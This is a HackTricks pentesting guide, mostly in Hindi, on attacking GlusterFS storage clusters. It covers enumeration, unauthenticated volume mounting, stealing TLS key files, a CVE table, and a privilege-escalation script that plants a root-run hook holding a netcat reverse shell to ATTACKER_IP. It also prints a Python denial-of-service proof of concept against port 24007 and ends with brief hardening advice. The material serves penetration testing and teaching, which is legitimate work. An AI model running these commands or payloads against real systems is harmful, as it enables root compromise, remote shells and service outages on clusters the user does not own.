24007-24008-24009-49152 - Pentesting GlusterFS

Reading time: 5 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

GlusterFS एक वितरित फ़ाइल प्रणाली है जो कई सर्वरों से संग्रहण को एक एकीकृत नामस्थान में जोड़ती है। प्रबंधन डेमॉन (glusterd) डिफ़ॉल्ट रूप से 24007/TCP पर सुनता है और डेटा-प्लेन ईंटों को निर्देशित करता है जो 49152/TCP पर शुरू होती हैं (प्रत्येक ईंट के लिए एक पोर्ट, बढ़ता हुआ)। 9.x से पहले के संस्करणों ने ईंट परिवहन के लिए 24008–24009/TCP का उपयोग किया, इसलिए आप अभी भी उन पोर्टों का सामना करेंगे जो विरासती क्लस्टरों में हैं।

PORT      STATE  SERVICE        VERSION
24007/tcp open   glusterd       GlusterFS (RPC)
49152/tcp open   gluster-brick  SSL (TLS optional)

टिप: 24007 RPC कॉल का उत्तर देता है भले ही स्टोरेज-केवल नोड्स कोई वॉल्यूम नहीं निर्यात करते हैं; इसलिए सेवा बड़े बुनियादी ढांचे के भीतर एक विश्वसनीय पिवट लक्ष्य है।

गणना

अपने हमलावर बॉक्स पर क्लाइंट उपयोगिताएँ स्थापित करें:

bash
sudo apt install -y glusterfs-cli glusterfs-client   # Debian/Ubuntu
  1. पीयर खोज और स्वास्थ्य
bash
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
  1. वॉल्यूम पहचान
bash
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
  1. बिना विशेषाधिकार के माउंट करें
bash
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster

यदि माउंटिंग विफल हो जाता है, तो क्लाइंट साइड पर /var/log/glusterfs/<vol_name>-<uid>.log की जांच करें। सामान्य समस्याएँ हैं:

  • TLS प्रवर्तन (option transport.socket.ssl on)
  • पते आधारित पहुँच नियंत्रण (option auth.allow <cidr>)

प्रमाणपत्र समस्या निवारण

किसी भी अधिकृत क्लाइंट नोड से निम्नलिखित फ़ाइलें चुराएँ और उन्हें /etc/ssl/ (या त्रुटि लॉग में दिखाए गए निर्देशिका) में रखें:

/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca

ज्ञात कमजोरियाँ (2022-2025)

CVEप्रभावित संस्करणप्रभावनोट्स
CVE-2022-4834010.0–10.4, 11.0dht_setxattr_mds_cbk में उपयोग के बाद मुक्त, नेटवर्क के माध्यम से पहुँच योग्यदूरस्थ DoS और संभावित RCE। 10.4.1 / 11.1 में ठीक किया गया।
CVE-2023-26253< 11.0FUSE सूचित हैंडलर में सीमा से बाहर पढ़ाईतैयार FS संचालन के माध्यम से दूरस्थ क्रैश; सार्वजनिक PoC उपलब्ध है।
CVE-2023-3775< 10.5 / 11.1gluster_shared_storage को माउंट करते समय गलत अनुमति सत्यापनकिसी भी अप्रमाणित क्लाइंट को प्रशासनिक वॉल्यूम माउंट करने की अनुमति देता है - नीचे समझाए गए priv-esc की ओर ले जाता है।

हमेशा gluster --version प्रत्येक नोड पर जांचें; आंशिक अपग्रेड के बाद विषम क्लस्टर सामान्य हैं।

gluster_shared_storage का शोषण (अधिकार वृद्धि)

हाल के संस्करणों में भी कई प्रशासक विशेष gluster_shared_storage वॉल्यूम को विश्व-पढ़ने योग्य छोड़ देते हैं क्योंकि यह भू-प्रतिकृति को सरल बनाता है। वॉल्यूम में क्रोनजॉब टेम्पलेट होते हैं जो प्रत्येक नोड पर root के साथ चलते हैं।

bash
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss

# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh

# 3. Wait until glusterd distributes the hook and executes it as root

यदि hooks/1/ मौजूद नहीं है, तो /ss_bricks/ के लिए देखें - सटीक पथ प्रमुख संस्करण के साथ भिन्न हो सकता है।

Denial-of-Service PoC (CVE-2023-26253)

python
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())

glusterfsd < 11.0 चलाते समय क्रैश हो जाता है।


हार्डनिंग और पहचान

  • अपग्रेड – वर्तमान LTS 11.1 है (जुलाई 2025)। सभी CVEs ऊपर ठीक किए गए हैं।
  • हर ईंट के लिए TLS सक्षम करें:
bash
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
  • CIDR सूचियों के साथ क्लाइंट को प्रतिबंधित करें:
bash
gluster volume set <vol> auth.allow 10.0.0.0/24
  • प्रबंधन पोर्ट 24007 को केवल निजी VLAN पर या SSH टनल के माध्यम से उजागर करें।
  • लॉग पर नज़र रखें: tail -f /var/log/glusterfs/glusterd.log और ऑडिट-लॉग फीचर कॉन्फ़िगर करें (volume set <vol> features.audit-log on)।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें